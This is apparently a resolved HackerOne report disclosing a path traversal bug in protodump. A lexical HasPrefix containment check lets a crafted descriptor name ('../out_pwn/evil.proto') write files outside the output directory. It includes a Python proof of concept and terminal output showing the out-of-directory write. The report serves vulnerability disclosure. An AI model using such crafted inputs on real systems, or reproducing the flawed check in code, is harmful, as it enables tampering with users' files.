Path Traversal in writeFile via Unsafe Prefix Containment Check Allows Out-of-Directory Writes
Medium
Vulnerability Details
## Summary:
`protodump` uses descriptor-controlled paths (`name/go_package`) in output filename construction and then enforces containment with a lexical `strings.HasPrefix` check after `EvalSymlinks`. That check is bypassable with `../` traversal into existing prefix-matching sibling directories, enabling writes outside the intended output directory.
## Steps To Reproduce:
1. First of all, build the protodump
2. Then, create a malicious input blob (descriptor name = `../out_pwn/evil.proto`):
```python
name = b'../out_pwn/evil.proto'
with open('/tmp/evil.bin', 'wb') as f:
f.write(bytes([0x0a, len(name)]) + name + b'\x00')
```
3. Prepare output and prefix-collision sibling `mkdir -p /tmp/out /tmp/out_pwn`
4. Run protodump:
```bash
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
```
5. Full terminal output:
```bash
TIPSEN:~:% python
Python 3.13.9 (main, Oct 15 2025, 14:56:22) [GCC 15.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> name = b'../out_pwn/evil.proto'
... with open('/tmp/evil.bin', 'wb') as f:
... f.write(bytes([0x0a, len(name)]) + name + b'\x00')
...
24
>>> exit
TIPSEN:~:% mkdir -p /tmp/out /tmp/out_pwn
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
TIPSEN:~:% /tmp/protodump -file /tmp/evil.bin -output /tmp/out
Wrote /tmp/out_pwn/evil.proto
TIPSEN:~:% ls /tmp/out
TIPSEN:~:% ls /tmp/out_pwn
evil.proto
```
## Supporting Material/References:
The root cause :)
1. https://github.com/arkadiyt/protodump/tree/main/pkg/protodump/proto.go#L47-L55: `Filename()` builds output-relative paths from descriptor-controlled meta data (`go_package` + descriptor path), so attacker input can influence directory components.
2. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L98-L100: the attacker-influenced `filename` is passed directly into `writeFile(...)` and used for filesystem writes.
3. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L32-L35: directory parts are derived from `path.Clean(fileDir)` and then joined under output, so traversal tokens are processed into parent/sibling path movement.
4. https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L41-L47: containment is enforced with `strings.HasPrefix(base, outputDirAbs)`, which is a lexical prefix check and not a safe path-boundary check.
5. `https://github.com/arkadiyt/protodump/tree/main/cmd/protodump/main.go#L51-L58`: after the flawed check, `MkdirAll` + `WriteFile` create/write the final path, enabling out-of-directory write when prefix-collision conditions are met.
## Impact
An attacker who can provide a crafted binary can cause `protodump` to create or overwrite `.proto` files outside the user-selected output folder when the victim runs the tool. This enables integrity compromise of adjacent project artifacts.
Actions
View on HackerOneReport Stats
- Report ID: 3634571
- State: Closed
- Substate: resolved
- Upvotes: 5